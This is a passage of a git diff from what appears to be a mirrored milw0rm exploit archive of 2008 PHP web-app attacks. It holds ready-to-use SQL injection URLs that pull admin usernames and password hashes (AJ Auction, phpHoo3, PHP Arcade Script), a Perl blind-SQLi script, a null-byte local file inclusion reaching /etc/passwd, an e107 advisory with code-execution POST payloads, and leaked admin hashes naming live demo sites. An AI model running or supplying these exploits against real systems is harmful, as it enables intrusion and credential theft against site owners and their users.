+echo $pass."<br><br>";
+echo "<a href='$url/admin/index.php?pass=$pass_parsed'>Login</a>";
+}
+}
+
+echo"</font></b></p></div>";
+echo $copyright;	
+}else{
+echo write_content("Welcome to TD's Exploit System","SQL injection exploit in GLLCTS2","<form method='post' action='?'><center><input type='hidden' name='inj' value='run'>GLLCTS2 URL(No Trailing \"/\" & Include \"http://\"):<br><input type='text' size='25' name='url'><br><br>Table Prefix:<br>". add_html_space(1) ."<input type='text' size='20' name='prefix' value='gllcts2'><br><br><input type='submit' value='Get Admin Info'></form>");
+echo $copyright;
+}
+break;
+}
+?>
+
+# milw0rm.com [2008-06-12]
diff --git a/platforms/php/webapps/5868.txt b/platforms/php/webapps/5868.txt
index 7c81ceb00..e7aeec816 100755
--- a/platforms/php/webapps/5868.txt
+++ b/platforms/php/webapps/5868.txt
@@ -1,39 +1,39 @@
-#########################################################
-#
-#    AJ Auction OOPD V.1  SQL Injection Vulnerability
-#========================================================
-#    Author: Hussin X                                   =
-#                                                       =
-#    Home :  www.tryag.cc/cc                            =
-#                                                       =
-#    email:  darkangel_g85[at]Yahoo[DoT]com             =
-#            hussin.x[at]hotmail[DoT]com                =
-#                                                       =
-#=========================================================
-#    HomE script : http://www.ajauctionpro.com/ajhome.php
-#     
-#    Demo : http://www.ajauctionpro.com/auction_2008/v1/   
-#    
-#          DorK :  Powered By AJ Auction
-#     
-##########################################################
-
-Exploit:   
-
-http://localhost.com/[PaTs]/[PaTs]/?do=allcat&id=-1+union+select+concat(user_name,0x3a,password)+from+admin_users--
-
-
-Admin login
-
-admin/adminindex.php
-
-################################################################################
-#####################################( Greetz )#################################
-#                                                                              #
-#           tryag / Mr.IraQ / DeViL iRaQ / IRAQ DiveR/ IRAQ_JAGUA              #       
-#                mos_chori / Rafi / FAHD / Iraq Hackers /                      #       
-#                                                                              #
-#################################(and All IRAQIs)###############################
-################################################################################
-
-# milw0rm.com [2008-06-19]
+#########################################################
+#
+#    AJ Auction OOPD V.1  SQL Injection Vulnerability
+#========================================================
+#    Author: Hussin X                                   =
+#                                                       =
+#    Home :  www.tryag.cc/cc                            =
+#                                                       =
+#    email:  darkangel_g85[at]Yahoo[DoT]com             =
+#            hussin.x[at]hotmail[DoT]com                =
+#                                                       =
+#=========================================================
+#    HomE script : http://www.ajauctionpro.com/ajhome.php
+#     
+#    Demo : http://www.ajauctionpro.com/auction_2008/v1/   
+#    
+#          DorK :  Powered By AJ Auction
+#     
+##########################################################
+
+Exploit:   
+
+http://localhost.com/[PaTs]/[PaTs]/?do=allcat&id=-1+union+select+concat(user_name,0x3a,password)+from+admin_users--
+
+
+Admin login
+
+admin/adminindex.php
+
+################################################################################
+#####################################( Greetz )#################################
+#                                                                              #
+#           tryag / Mr.IraQ / DeViL iRaQ / IRAQ DiveR/ IRAQ_JAGUA              #       
+#                mos_chori / Rafi / FAHD / Iraq Hackers /                      #       
+#                                                                              #
+#################################(and All IRAQIs)###############################
+################################################################################
+
+# milw0rm.com [2008-06-19]
diff --git a/platforms/php/webapps/5884.txt b/platforms/php/webapps/5884.txt
index 835a1eb9d..3faae64ac 100755
--- a/platforms/php/webapps/5884.txt
+++ b/platforms/php/webapps/5884.txt
@@ -1,117 +1,117 @@
-____________________________________________________________________________
-____________________________________________________________________________
-
-01010111 01001001 01010010 01000101 01000100  01010011 ->
-01000101 01000011 01010101 01010010 01001001  01010100 ->
-01011001                                                      
-
-____________________________________________________________________________
-ADVISORY: APROX CMS ENGINE V5(.1.0.4) LOCAL FILE INCLUSION (LFI)
-____________________________________________________________________________
-
-_____________________
-|| 0x00: ABOUT ME
-|| 0x01: DATELINE
-|| 0x02: INFORMATION
-|| 0x03: EXPLOITATION
-|| 0x04: RISK LEVEL
-
-____________________________________________________________
-____________________________________________________________
-
-_________________
-|| 0x00: ABOUT ME
-
-Author: SkyOut
-Date: June 2008
-Website: http://wired-security.net/
-
-_________________
-|| 0x01: DATELINE
-
-2007-06-21: Bug found
-2007-06-21: Advisory released
-
-____________________
-|| 0x02: INFORMATION
-
-
-The Aprox CMS Engine in version 5 (tested in 1.0.4) is vulnerable to an attack
-in the way of a Local File Inclusion (LFI).
-
-The exploitation has been tested on a local webserver, using Apache HTTPD 2.2.8
-+ MySQL 5.0.51a (XAMPP for Windows) on Windows Vista Premium.
--> http://www.apachefriends.org/en/xampp-windows.html
-
-_____________________
-|| 0x03: EXPLOITATION
-
-Let's look at the index.php files source code:
-
---- SNIP ---
-if (!isset($_GET["id"]))
-{
-if ((isset($_GET["page"])) && ($_GET["page"] != "")){
-if (file_exists("./engine/inc/".$_GET["page"].".inc")){
---- SNIP ---
-
-As you can see the script checks for the parameter "id" to be set. Interesting enough,
-but later we won't care for this anymore... What is interesting then is line 3: The
-script makes sure "page" parameter has been set and is unequal NULL. Then the script
-checks if the files does exist, using the extension *.inc!
-
-Now the interesting thing comes in:
-
---- SNIP ---
-include("./engine/inc/".$_GET["page"].".inc");
---- SNIP ---
-
-WHUPS! Here the script simply includes the file, that is given through the paramter "page"
-via GET without any further security checks.
-
-Now we can set the "page" parameter to whatever we want :)
-
-Let's try (I did with the file "C:\xampp\xampp-changes.txt" because I don't have a "boot.ini",
-you remember? -> Vista!):
-
-=> http://.../index.php?page=../../../../../../../xampp/xampp-changes.txt
-
-We get the following error: "Fehler - Datei nicht gefunden!", which means in english:
-"Error - File not found!". No wonder, because we build up the following:
-
-=> include("./engine/inc/../../../../../../../xampp/xampp-changes.txt.inc");
-
-And this file really does not exist! So lets cut it off with some simple trick you should know
-from other exploits (if you ever read some!): %00!
-
-+-------------------------------------------------------------------------------+
-|===============================================================================| 
-|=> http://.../index.php?page=../../../../../../../xampp/xampp-changes.txt%00 <=|
-|===============================================================================|
-|                                                                               |
-|And now we get the output of "C:\xampp\xampp-changes.txt":                     |
-|                                                                               |
-|--- OUTPUT ---                                                                 |
-|14. Feb 2008 XAMPP 1.6.6a - Upgrade to MySQL 5.0.51a - PHP 4.4.8 (Release) ... |
-|--- OUTPUT ---                                                                 |
-|                                                                               |
-|Now it depends on the system, what you can include:                            |
-|                                                                               |
-|../etc/passwd%00                                                               |
-|../boot.ini%00                                                                 |
-|or others...                                                                   |
-+-------------------------------------------------------------------------------+
-
-___________________
-|| 0x04: RISK LEVEL
-
-- MEDIUM - (2/3) -
-
-<!> Happy Hacking <!>
-
-____________________________________________________________________________
-____________________________________________________________________________
-
-EOF
-
-# milw0rm.com [2008-06-21]
+____________________________________________________________________________
+____________________________________________________________________________
+
+01010111 01001001 01010010 01000101 01000100  01010011 ->
+01000101 01000011 01010101 01010010 01001001  01010100 ->
+01011001                                                      
+
+____________________________________________________________________________
+ADVISORY: APROX CMS ENGINE V5(.1.0.4) LOCAL FILE INCLUSION (LFI)
+____________________________________________________________________________
+
+_____________________
+|| 0x00: ABOUT ME
+|| 0x01: DATELINE
+|| 0x02: INFORMATION
+|| 0x03: EXPLOITATION
+|| 0x04: RISK LEVEL
+
+____________________________________________________________
+____________________________________________________________
+
+_________________
+|| 0x00: ABOUT ME
+
+Author: SkyOut
+Date: June 2008
+Website: http://wired-security.net/
+
+_________________
+|| 0x01: DATELINE
+
+2007-06-21: Bug found
+2007-06-21: Advisory released
+
+____________________
+|| 0x02: INFORMATION
+
+
+The Aprox CMS Engine in version 5 (tested in 1.0.4) is vulnerable to an attack
+in the way of a Local File Inclusion (LFI).
+
+The exploitation has been tested on a local webserver, using Apache HTTPD 2.2.8
++ MySQL 5.0.51a (XAMPP for Windows) on Windows Vista Premium.
+-> http://www.apachefriends.org/en/xampp-windows.html
+
+_____________________
+|| 0x03: EXPLOITATION
+
+Let's look at the index.php files source code:
+
+--- SNIP ---
+if (!isset($_GET["id"]))
+{
+if ((isset($_GET["page"])) && ($_GET["page"] != "")){
+if (file_exists("./engine/inc/".$_GET["page"].".inc")){
+--- SNIP ---
+
+As you can see the script checks for the parameter "id" to be set. Interesting enough,
+but later we won't care for this anymore... What is interesting then is line 3: The
+script makes sure "page" parameter has been set and is unequal NULL. Then the script
+checks if the files does exist, using the extension *.inc!
+
+Now the interesting thing comes in:
+
+--- SNIP ---
+include("./engine/inc/".$_GET["page"].".inc");
+--- SNIP ---
+
+WHUPS! Here the script simply includes the file, that is given through the paramter "page"
+via GET without any further security checks.
+
+Now we can set the "page" parameter to whatever we want :)
+
+Let's try (I did with the file "C:\xampp\xampp-changes.txt" because I don't have a "boot.ini",
+you remember? -> Vista!):
+
+=> http://.../index.php?page=../../../../../../../xampp/xampp-changes.txt
+
+We get the following error: "Fehler - Datei nicht gefunden!", which means in english:
+"Error - File not found!". No wonder, because we build up the following:
+
+=> include("./engine/inc/../../../../../../../xampp/xampp-changes.txt.inc");
+
+And this file really does not exist! So lets cut it off with some simple trick you should know
+from other exploits (if you ever read some!): %00!
+
++-------------------------------------------------------------------------------+
+|===============================================================================| 
+|=> http://.../index.php?page=../../../../../../../xampp/xampp-changes.txt%00 <=|
+|===============================================================================|
+|                                                                               |
+|And now we get the output of "C:\xampp\xampp-changes.txt":                     |
+|                                                                               |
+|--- OUTPUT ---                                                                 |
+|14. Feb 2008 XAMPP 1.6.6a - Upgrade to MySQL 5.0.51a - PHP 4.4.8 (Release) ... |
+|--- OUTPUT ---                                                                 |
+|                                                                               |
+|Now it depends on the system, what you can include:                            |
+|                                                                               |
+|../etc/passwd%00                                                               |
+|../boot.ini%00                                                                 |
+|or others...                                                                   |
++-------------------------------------------------------------------------------+
+
+___________________
+|| 0x04: RISK LEVEL
+
+- MEDIUM - (2/3) -
+
+<!> Happy Hacking <!>
+
+____________________________________________________________________________
+____________________________________________________________________________
+
+EOF
+
+# milw0rm.com [2008-06-21]
diff --git a/platforms/php/webapps/6091.txt b/platforms/php/webapps/6091.txt
index 21a482a6a..4168b70d8 100755
--- a/platforms/php/webapps/6091.txt
+++ b/platforms/php/webapps/6091.txt
@@ -1,39 +1,39 @@
-###############################################################
-#################### Viva IslaM Viva IslaM ####################
-##
-## Remote SQL injection Vulnerability
-##
-## phpHoo3 V[ 4.4.8 - 4.3.9 - 4.3.10 - 5.2.6 -] ( phpHoo3.php viewCat )
-##                            
-###############################################################
-###############################################################
-##
-## AuTh0r : Mr.SQL
-##
-## H0ME   : WwW.PaL-HaCkEr.CoM  &&  WwW.AtsDp.CoM/f
-##
-## Email  : SQL@Hotmail.it
-##
-## SYRiAN Arab HACkErS
-########################
-########################
-##
-## -[[: Exploites for versions :]]-
-##
-## [[ V4.4.8 ]] www.Target.com/phpHoo3.php?viewCat=-1+UNION+SELECT+0,0,0,CONVERT(CONCAT_WS(0x3a,USER(),VERSION(),DATABASE())+using+latin1),0,0,0,0,0--
-## [[ V4.3.9 ]] www.Target.com/phpHoo3.php?viewCat=-1+UNION+SELECT+0,0,0,user(),@@version,0,0,0,0,0--
-## [[ V4.3.10]] www.Target.com/phpHoo3.php?viewCat=-1+UNION+SELECT+0,0,CONCAT_WS(0x3a,USER(),VERSION(),DATABASE())--
-## [[ V5.2.6 ]] www.Target.com/phpHoo/phpHoo3.php?viewCat=-1+UNION+SELECT+0,0,CONCAT_WS(0x3a,USER(),VERSION(),DATABASE())--
-##
-########################
-########################
- 
-#######################################################################################################
-#######################################################################################################
-                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
-                                         
- :: HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: milw0rm :: MuslimS HaCkErS ::
-#######################################################################################################
-#######################################################################################################
-
-# milw0rm.com [2008-07-17]
+###############################################################
+#################### Viva IslaM Viva IslaM ####################
+##
+## Remote SQL injection Vulnerability
+##
+## phpHoo3 V[ 4.4.8 - 4.3.9 - 4.3.10 - 5.2.6 -] ( phpHoo3.php viewCat )
+##                            
+###############################################################
+###############################################################
+##
+## AuTh0r : Mr.SQL
+##
+## H0ME   : WwW.PaL-HaCkEr.CoM  &&  WwW.AtsDp.CoM/f
+##
+## Email  : SQL@Hotmail.it
+##
+## SYRiAN Arab HACkErS
+########################
+########################
+##
+## -[[: Exploites for versions :]]-
+##
+## [[ V4.4.8 ]] www.Target.com/phpHoo3.php?viewCat=-1+UNION+SELECT+0,0,0,CONVERT(CONCAT_WS(0x3a,USER(),VERSION(),DATABASE())+using+latin1),0,0,0,0,0--
+## [[ V4.3.9 ]] www.Target.com/phpHoo3.php?viewCat=-1+UNION+SELECT+0,0,0,user(),@@version,0,0,0,0,0--
+## [[ V4.3.10]] www.Target.com/phpHoo3.php?viewCat=-1+UNION+SELECT+0,0,CONCAT_WS(0x3a,USER(),VERSION(),DATABASE())--
+## [[ V5.2.6 ]] www.Target.com/phpHoo/phpHoo3.php?viewCat=-1+UNION+SELECT+0,0,CONCAT_WS(0x3a,USER(),VERSION(),DATABASE())--
+##
+########################
+########################
+ 
+#######################################################################################################
+#######################################################################################################
+                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
+                                         
+ :: HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: milw0rm :: MuslimS HaCkErS ::
+#######################################################################################################
+#######################################################################################################
+
+# milw0rm.com [2008-07-17]
diff --git a/platforms/php/webapps/6219.txt b/platforms/php/webapps/6219.txt
index efe0bc147..aa6f154a7 100755
--- a/platforms/php/webapps/6219.txt
+++ b/platforms/php/webapps/6219.txt
@@ -1,75 +1,75 @@
-##########################################################
-# GulfTech Security Research              August 07, 2008
-##########################################################
-# Vendor : Steve Dunstan
-# URL : http://www.e107.org/
-# Version : e107 <= 0.7.11
-# Risk : Arbitrary Variable Overwriting
-##########################################################
-
-
-Description:
-e107 is a popular full featured content management system written
-in php. Unfortunately e107 suffers from an arbitrary variable
-overwriting issue within it's download.php file that allows a number
-of possible attacks to happen including, but possibly not limited to,
-arbitrary php code execution and SQL Injection. No authentication
-is required to exploit the issue and it can be exploited regardless
-of php magic quotes settings. All users are encouraged to upgrade
-their e107 installations as soon as possible.
-
-
-Arbitrary Variable Overwriting:
-There is an arbitrary variable overwrite issue in download.php that
-is the result of unsafe usage of the php extract() function. Let's
-have a look at the code located in download.php @ lines 85-86
-
-case 'list' :    // Category-based listing
-if (isset($_POST['view'])) extract($_POST);
-
-As we see from the above code it is very much possible to overwrite
-any variables declared up to this point, but what is the real risk
-here? What attacks are possible because of this issue?
-
-view=1&id=-99') UNION SELECT concat(user_name,char(58), user_password),
-2,3,4 FROM e107_user WHERE user_id=1/*
-
-One possible attack could involve an attacker sending a post request
-to the downloads category view page (download.php?list.1 for example)
-with the above data as the post contents, and as a result the username
-and pass hash will be displayed in the page title. This SQL Injection
-does require magic quotes to be set to it's default value of off.
-
-view=1&action=maincats&execute=aWQ=&template_load_core=echo%20exec
-(base64_decode($_POST[execute]));
-
-In addition to the SQL Injection is an arbitrary php code execution
-vulnerability. I found that it is possible to execute arbitrary php
-code by sending a post request to the downloads category view page
-with the above data as the post contents. The above example will
-successfully execute the "id" shell command regardless if php magic
-quotes gpc settings. A valid download category must be available
-though, but this is trivial since an attacker can use the previously
-explained SQL Injection to gain admin credentials and add a download
-category. Other attacks may be possible though since a majority of
-the important variables within the script are at risk.
-
-
-
-Solution:
-A fix for the issue mentioned in this advisory can be found in the public e107 CVS repository, or accessed directly at the link below.
-
-http://e107.cvs.sourceforge.net/e107/e107_0.7/download.php?r1=1.95&r2=1.96&view=patch&pathrev=MAIN
-
-
-
-Credits:
-James Bercegay of the GulfTech Security Research Team
-
-
-
-Related Info:
-The original advisory can be found at the following location
-http://www.gulftech.org/?node=research&article_id=00122-08072008
-
-# milw0rm.com [2008-08-10]
+##########################################################
+# GulfTech Security Research              August 07, 2008
+##########################################################
+# Vendor : Steve Dunstan
+# URL : http://www.e107.org/
+# Version : e107 <= 0.7.11
+# Risk : Arbitrary Variable Overwriting
+##########################################################
+
+
+Description:
+e107 is a popular full featured content management system written
+in php. Unfortunately e107 suffers from an arbitrary variable
+overwriting issue within it's download.php file that allows a number
+of possible attacks to happen including, but possibly not limited to,
+arbitrary php code execution and SQL Injection. No authentication
+is required to exploit the issue and it can be exploited regardless
+of php magic quotes settings. All users are encouraged to upgrade
+their e107 installations as soon as possible.
+
+
+Arbitrary Variable Overwriting:
+There is an arbitrary variable overwrite issue in download.php that
+is the result of unsafe usage of the php extract() function. Let's
+have a look at the code located in download.php @ lines 85-86
+
+case 'list' :    // Category-based listing
+if (isset($_POST['view'])) extract($_POST);
+
+As we see from the above code it is very much possible to overwrite
+any variables declared up to this point, but what is the real risk
+here? What attacks are possible because of this issue?
+
+view=1&id=-99') UNION SELECT concat(user_name,char(58), user_password),
+2,3,4 FROM e107_user WHERE user_id=1/*
+
+One possible attack could involve an attacker sending a post request
+to the downloads category view page (download.php?list.1 for example)
+with the above data as the post contents, and as a result the username
+and pass hash will be displayed in the page title. This SQL Injection
+does require magic quotes to be set to it's default value of off.
+
+view=1&action=maincats&execute=aWQ=&template_load_core=echo%20exec
+(base64_decode($_POST[execute]));
+
+In addition to the SQL Injection is an arbitrary php code execution
+vulnerability. I found that it is possible to execute arbitrary php
+code by sending a post request to the downloads category view page
+with the above data as the post contents. The above example will
+successfully execute the "id" shell command regardless if php magic
+quotes gpc settings. A valid download category must be available
+though, but this is trivial since an attacker can use the previously
+explained SQL Injection to gain admin credentials and add a download
+category. Other attacks may be possible though since a majority of
+the important variables within the script are at risk.
+
+
+
+Solution:
+A fix for the issue mentioned in this advisory can be found in the public e107 CVS repository, or accessed directly at the link below.
+
+http://e107.cvs.sourceforge.net/e107/e107_0.7/download.php?r1=1.95&r2=1.96&view=patch&pathrev=MAIN
+
+
+
+Credits:
+James Bercegay of the GulfTech Security Research Team
+
+
+
+Related Info:
+The original advisory can be found at the following location
+http://www.gulftech.org/?node=research&article_id=00122-08072008
+
+# milw0rm.com [2008-08-10]
diff --git a/platforms/php/webapps/6255.txt b/platforms/php/webapps/6255.txt
index f7dfca2e4..5fc1552ed 100755
--- a/platforms/php/webapps/6255.txt
+++ b/platforms/php/webapps/6255.txt
@@ -1,59 +1,59 @@
-|___________________________________________________|
-|
-| PHP Arcade Script v4.0 (cat) Remote SQL Injection Vulnerability
-|
-|___________________________________________________
-|---------------------Hussin X----------------------|
-|
-|    Author: Hussin X
-|
-|    Home :  www.tryag.cc/cc
-|
-|    email:  darkangel_g85[at]Yahoo[DoT]com
-|
-|
-|___________________________________________________
-|                                                   |
-|
-| script : http://www.phparcadescript.com
-| 
-| DorK   :  :-P 
-|___________________________________________________|
-
-Exploit:  
-________
-
-
-
-www.[target].com/Script/index.php?action=browse&cat=-29+UNION+SELECT+1,concat(adminusername,0x3e,adminpassword),3,4,5,6,7+FROM+siteconfig--
-
-
-
-
-
-
-L!VE DEMO:
-_________
-
-
-http://www.phparcadedemo.com/index.php?action=browse&cat=-29+UNION+SELECT+1,concat(adminusername,0x3e,adminpassword),3,4,5,6,7+FROM+siteconfig--
-
-
-____________
-
-Admin Login :
-
-www.[target].com/Script/admin/
-
-____________
-____________________________( Greetz )____________________________
-|
-| tryag.cc | mriraq.com | DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR |
-|   
-| jiko | CraCkEr | Iraqihack | FAHD | mos_chori | str0ke | Silic0n 
-|_________________________________________________________________
-
-
-                       Im IRAQi
-
-# milw0rm.com [2008-08-17]
+|___________________________________________________|
+|
+| PHP Arcade Script v4.0 (cat) Remote SQL Injection Vulnerability
+|
+|___________________________________________________
+|---------------------Hussin X----------------------|
+|
+|    Author: Hussin X
+|
+|    Home :  www.tryag.cc/cc
+|
+|    email:  darkangel_g85[at]Yahoo[DoT]com
+|
+|
+|___________________________________________________
+|                                                   |
+|
+| script : http://www.phparcadescript.com
+| 
+| DorK   :  :-P 
+|___________________________________________________|
+
+Exploit:  
+________
+
+
+
+www.[target].com/Script/index.php?action=browse&cat=-29+UNION+SELECT+1,concat(adminusername,0x3e,adminpassword),3,4,5,6,7+FROM+siteconfig--
+
+
+
+
+
+
+L!VE DEMO:
+_________
+
+
+http://www.phparcadedemo.com/index.php?action=browse&cat=-29+UNION+SELECT+1,concat(adminusername,0x3e,adminpassword),3,4,5,6,7+FROM+siteconfig--
+
+
+____________
+
+Admin Login :
+
+www.[target].com/Script/admin/
+
+____________
+____________________________( Greetz )____________________________
+|
+| tryag.cc | mriraq.com | DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR |
+|   
+| jiko | CraCkEr | Iraqihack | FAHD | mos_chori | str0ke | Silic0n 
+|_________________________________________________________________
+
+
+                       Im IRAQi
+
+# milw0rm.com [2008-08-17]
diff --git a/platforms/php/webapps/6279.pl b/platforms/php/webapps/6279.pl
index a0b7479fb..1494beb4a 100755
--- a/platforms/php/webapps/6279.pl
+++ b/platforms/php/webapps/6279.pl
@@ -1,113 +1,113 @@
-#!/usr/bin/perl
-use LWP::UserAgent;
-use Getopt::Long;
-if(!$ARGV[1])
-{
-  print "                                                                  \n";
-  print "   ################## VIVA ISLAME VIVA ISLAME ####################\n";
-  print "   ################## VIVA ISLAME VIVA ISLAME ####################\n";
-  print "   ##                                                           ##\n";
-  print "   ##   Pars4u Videosharing V1 Blind SQL Injection Exploit      ##\n";
-  print "   ##                                                           ##\n";
-  print "   ##                      ( categories_portal.php cat_id )     ##\n";
-  print "   ##   http://pars4u.com/videosharing.html                     ##\n";
-  print "   ##                                                           ##\n";
-  print "   ##   Author: Mr.SQL              -(:: SYRIAN HACKERS ::)-    ##\n";
-  print "   ##   EMAIL : SQL(at)HOTMAIL.IT                               ##\n";
-  print "   ##   HOME  : WwW.PaL-HaCkEr.CoM                              ##\n";
-  print "   ##                                                           ##\n";
-  print "   ##              -((:: !GrE3E3E3E3E3ETZz! ::))-               ##\n";
-  print "   ##                                                           ##\n";
-  print "   ## - HaCkEr_EGy - His0k4 - Dark MaSTer - MoHaMaD AL 3rab -   ##\n";
-  print "   ##              - Milw0rM -  Ghost Hacker   -                ##\n";
-  print "   ##                                                           ##\n";
-  print "   ##               <<>>   MuSliMs HaCkErS   <<>>               ##\n";
-  print "   ##                                                           ##\n";
-  print "   ##   Usage  : perl exploit.pl host                           ##\n";
-  print "   ##   Example: perl exploit.pl www.host.com / -d 10           ##\n";
-  print "   ##                                                           ##\n";
-  print "   ##   Options:                                                ##\n";
-  print "   ##     -d    valid cat_id value                              ##\n";
-  print "   ###############################################################\n";
-  print "   ###############################################################\n";
-  exit;
-}
-my $host    = $ARGV[0];
-my $cat_id    = $ARGV[2];
-my %options = ();
-GetOptions(\%options, "u=i", "p=s", "d=i");
-print "[~] Exploiting...\n";
-if($options{"u"})
-{
-  $cat_id = $options{"u"};
-}
-if($options{"d"})
-{
-  $cat_id = $options{"d"};
-}
-syswrite(STDOUT, "[~] MD5-Hash: ", 14);
-for(my $i = 1; $i <= 32; $i++)
-{
-  my $f = 0;
-  my $h = 48;
-  while(!$f && $h <= 57)
-  {
-    if(istrue2($host, $path, $cat_id, $i, $h))
-    {
-      $f = 1;
-      syswrite(STDOUT, chr($h), 1);
-    }
-    $h++;
-  }
-  if(!$f)
-  {
-    $h = 97;
-    while(!$f && $h <= 122)
-    {
-      if(istrue2($host, $cat_id, $i, $h))
-      {
-        $f = 1;
-        syswrite(STDOUT, chr($h), 1);
-      }
-      $h++;
-    }
-  }
-}
-print "\n[~] Exploiting done\n";
-sub istrue2
-{
-  my $host  = shift;
-  my $cat_id  = shift;
-  my $i     = shift;
-  my $h     = shift;
- 
-  my $ua    = LWP::UserAgent->new;
-  my $query = "http://".$host."categories_portal.php?cat_id=".$cat_id." and (SUBSTRING((SELECT password FROM users LIMIT 0,1),".$i.",1))=CHAR(".$h.")";
- 
-  if($cat_id{"p"})
-  {
-    $ua->proxy('http', "http://".$cat_id{"p"});
-  }
- 
-  my $resp    = $ua->get($query);
-  my $content = $resp->content;
-  my $regexp  = "1&cat_a";
- 
-  if($content =~ /$regexp/)
-  {
-    return 1;
-  }
-  else
-  {
-    return 0;
-  }
-}
- 
-#######################
-##
-##-[[ XSS ]]-
-## www.Target.com/members.php?PageNo= [[ XSS ]]
-##
-#######################
-
-# milw0rm.com [2008-08-20]
+#!/usr/bin/perl
+use LWP::UserAgent;
+use Getopt::Long;
+if(!$ARGV[1])
+{
+  print "                                                                  \n";
+  print "   ################## VIVA ISLAME VIVA ISLAME ####################\n";
+  print "   ################## VIVA ISLAME VIVA ISLAME ####################\n";
+  print "   ##                                                           ##\n";
+  print "   ##   Pars4u Videosharing V1 Blind SQL Injection Exploit      ##\n";
+  print "   ##                                                           ##\n";
+  print "   ##                      ( categories_portal.php cat_id )     ##\n";
+  print "   ##   http://pars4u.com/videosharing.html                     ##\n";
+  print "   ##                                                           ##\n";
+  print "   ##   Author: Mr.SQL              -(:: SYRIAN HACKERS ::)-    ##\n";
+  print "   ##   EMAIL : SQL(at)HOTMAIL.IT                               ##\n";
+  print "   ##   HOME  : WwW.PaL-HaCkEr.CoM                              ##\n";
+  print "   ##                                                           ##\n";
+  print "   ##              -((:: !GrE3E3E3E3E3ETZz! ::))-               ##\n";
+  print "   ##                                                           ##\n";
+  print "   ## - HaCkEr_EGy - His0k4 - Dark MaSTer - MoHaMaD AL 3rab -   ##\n";
+  print "   ##              - Milw0rM -  Ghost Hacker   -                ##\n";
+  print "   ##                                                           ##\n";
+  print "   ##               <<>>   MuSliMs HaCkErS   <<>>               ##\n";
+  print "   ##                                                           ##\n";
+  print "   ##   Usage  : perl exploit.pl host                           ##\n";
+  print "   ##   Example: perl exploit.pl www.host.com / -d 10           ##\n";
+  print "   ##                                                           ##\n";
+  print "   ##   Options:                                                ##\n";
+  print "   ##     -d    valid cat_id value                              ##\n";
+  print "   ###############################################################\n";
+  print "   ###############################################################\n";
+  exit;
+}
+my $host    = $ARGV[0];
+my $cat_id    = $ARGV[2];
+my %options = ();
+GetOptions(\%options, "u=i", "p=s", "d=i");
+print "[~] Exploiting...\n";
+if($options{"u"})
+{
+  $cat_id = $options{"u"};
+}
+if($options{"d"})
+{
+  $cat_id = $options{"d"};
+}
+syswrite(STDOUT, "[~] MD5-Hash: ", 14);
+for(my $i = 1; $i <= 32; $i++)
+{
+  my $f = 0;
+  my $h = 48;
+  while(!$f && $h <= 57)
+  {
+    if(istrue2($host, $path, $cat_id, $i, $h))
+    {
+      $f = 1;
+      syswrite(STDOUT, chr($h), 1);
+    }
+    $h++;
+  }
+  if(!$f)
+  {
+    $h = 97;
+    while(!$f && $h <= 122)
+    {
+      if(istrue2($host, $cat_id, $i, $h))
+      {
+        $f = 1;
+        syswrite(STDOUT, chr($h), 1);
+      }
+      $h++;
+    }
+  }
+}
+print "\n[~] Exploiting done\n";
+sub istrue2
+{
+  my $host  = shift;
+  my $cat_id  = shift;
+  my $i     = shift;
+  my $h     = shift;
+ 
+  my $ua    = LWP::UserAgent->new;
+  my $query = "http://".$host."categories_portal.php?cat_id=".$cat_id." and (SUBSTRING((SELECT password FROM users LIMIT 0,1),".$i.",1))=CHAR(".$h.")";
+ 
+  if($cat_id{"p"})
+  {
+    $ua->proxy('http', "http://".$cat_id{"p"});
+  }
+ 
+  my $resp    = $ua->get($query);
+  my $content = $resp->content;
+  my $regexp  = "1&cat_a";
+ 
+  if($content =~ /$regexp/)
+  {
+    return 1;
+  }
+  else
+  {
+    return 0;
+  }
+}
+ 
+#######################
+##
+##-[[ XSS ]]-
+## www.Target.com/members.php?PageNo= [[ XSS ]]
+##
+#######################
+
+# milw0rm.com [2008-08-20]
diff --git a/platforms/php/webapps/6314.txt b/platforms/php/webapps/6314.txt
index 9b415121c..e678ff8f2 100755
--- a/platforms/php/webapps/6314.txt
+++ b/platforms/php/webapps/6314.txt
@@ -1,41 +1,41 @@
-#########################################################################################
-[+] Thickbox Gallery v2 Admin Data Disclosure
-[+] Discovered By SirGod                         
-[+] www.mortal-team.org                         
-[+] Greetz : E.M.I.N.E.M,Ras,Puscas_marin,ToxicBlood,MesSiAH,xZu,HrN,kemrayz
-##########################################################################################
-
-[+] Arbitrary Admin Data Disclosure
-
-    - Go here and you will see the admin data ( login name + crypted password as MD5 )
-
-       http://localhost/[Path]/conf/admins.php
-
-    - Admin data :
-
-          a:1:{s:5:"admin";s:32:"d73ed8a01f624fcb878296bc7ff302bc";}
-
-    - Now extract the admin username and the hash :
-
-        Username : admin
-
-        Password : d73ed8a01f624fcb878296bc7ff302bc
-
-[+] Live Demo
-
-         http://www.davilin.com/tbg/conf/admins.php
-
-    - Retrived :
-
-          a:1:{s:8:"ytakenak";s:32:"56bd1d32bcb1fbd2609e4d7634febbd1";}
-
-    - Name + Password
-
-        Username : ytakenak
-      
-        Password : 56bd1d32bcb1fbd2609e4d7634febbd1
-   
-
-##########################################################################################
-
-# milw0rm.com [2008-08-26]
+#########################################################################################
+[+] Thickbox Gallery v2 Admin Data Disclosure
+[+] Discovered By SirGod                         
+[+] www.mortal-team.org                         
+[+] Greetz : E.M.I.N.E.M,Ras,Puscas_marin,ToxicBlood,MesSiAH,xZu,HrN,kemrayz
+##########################################################################################
+
+[+] Arbitrary Admin Data Disclosure
+
+    - Go here and you will see the admin data ( login name + crypted password as MD5 )
+
+       http://localhost/[Path]/conf/admins.php
+
+    - Admin data :
+
+          a:1:{s:5:"admin";s:32:"d73ed8a01f624fcb878296bc7ff302bc";}
+
+    - Now extract the admin username and the hash :
+
+        Username : admin
+
+        Password : d73ed8a01f624fcb878296bc7ff302bc
+
+[+] Live Demo
+
+         http://www.davilin.com/tbg/conf/admins.php
+
+    - Retrived :
+
+          a:1:{s:8:"ytakenak";s:32:"56bd1d32bcb1fbd2609e4d7634febbd1";}
+
+    - Name + Password
+
+        Username : ytakenak
+      
+        Password : 56bd1d32bcb1fbd2609e4d7634febbd1
+   
+
+##########################################################################################
+
+# milw0rm.com [2008-08-26]
